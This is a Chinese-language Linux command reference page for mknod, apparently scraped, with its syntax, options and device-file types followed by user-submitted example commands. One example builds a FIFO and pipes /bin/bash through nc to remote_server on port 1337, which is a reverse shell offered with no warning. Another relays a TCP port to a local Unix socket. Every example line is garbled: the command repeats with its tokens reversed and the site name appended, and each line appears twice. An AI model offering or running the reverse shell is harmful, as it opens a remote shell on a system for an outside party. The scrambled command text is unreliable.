mknod

创建FIFO,字符特殊文件或阻止具有指定名称的特殊文件

语法

  mknod [options]... NAME Type [Major Minor]

选项



 -m MODE
 --mode=MODE
    设置权限模式

Type    要制作的文件类型
  `p'     FIFO
  `b'     块特殊文件
  `c'     字符特殊文件


参数:

NAME :要创建的设备文件名;
Type :指定要创建的设备文件的类型;
Major:指定设备文件的主设备号;
Minor:指定设备文件的次设备号。

“特殊文件"指可以生成或接收数据的东西。通常,这对应于物理硬件,例如打印机或磁盘(这些文件通常在系统配置时创建)`mknod’命令用于创建此类文件。这样的设备可以一次读取一个字符或一次读取“块”(许多字符),因此我们说有“块特殊”文件和“字符特殊”文件。

mknod 命令实例:

linux命令:mknod -m 0666 /dev/null c 1 3 3 1 c /dev/null 0666 -m mknod mknod -m 0666 /dev/null c 1 3rootopen.com
linux命令:mknod -m 0666 /dev/null c 1 3 3 1 c /dev/null 0666 -m mknod mknod -m 0666 /dev/null c 1 3rootopen.com
2018-08-19 23:12:31

linux命令:mknod backpipe p && nc remote_server 1337 0<backpipe | /bin/bash 1>backpipe 1>backpipe /bin/bash | 0<backpipe 1337 remote_server nc && p backpipe mknod mknod backpipe p && nc remote_server 1337 0<backpipe | /bin/bash 1>backpiperootopen.com
linux命令:mknod backpipe p && nc remote_server 1337 0<backpipe | /bin/bash 1>backpipe 1>backpipe /bin/bash | 0<backpipe 1337 remote_server nc && p backpipe mknod mknod backpipe p && nc remote_server 1337 0<backpipe | /bin/bash 1>backpiperootopen.com
2018-01-09 11:42:48

linux命令:mknod replypipe p; nc -k -lp 1234 < replypipe| nc -U /var/run/mysocket.sock > replypipe replypipe > /var/run/mysocket.sock -U nc replypipe| < 1234 -lp -k nc p; replypipe mknod mknod replypipe p; nc -k -lp 1234 < replypipe| nc -U /var/run/mysocket.sock > replypiperootopen.com
linux命令:mknod replypipe p; nc -k -lp 1234 < replypipe| nc -U /var/run/mysocket.sock > replypipe replypipe > /var/run/mysocket.sock -U nc replypipe| < 1234 -lp -k nc p; replypipe mknod mknod replypipe p; nc -k -lp 1234 < replypipe| nc -U /var/run/mysocket.sock > replypiperootopen.com
2018-06-08 02:23:48

Linux的Bash命令行(A-Z排序)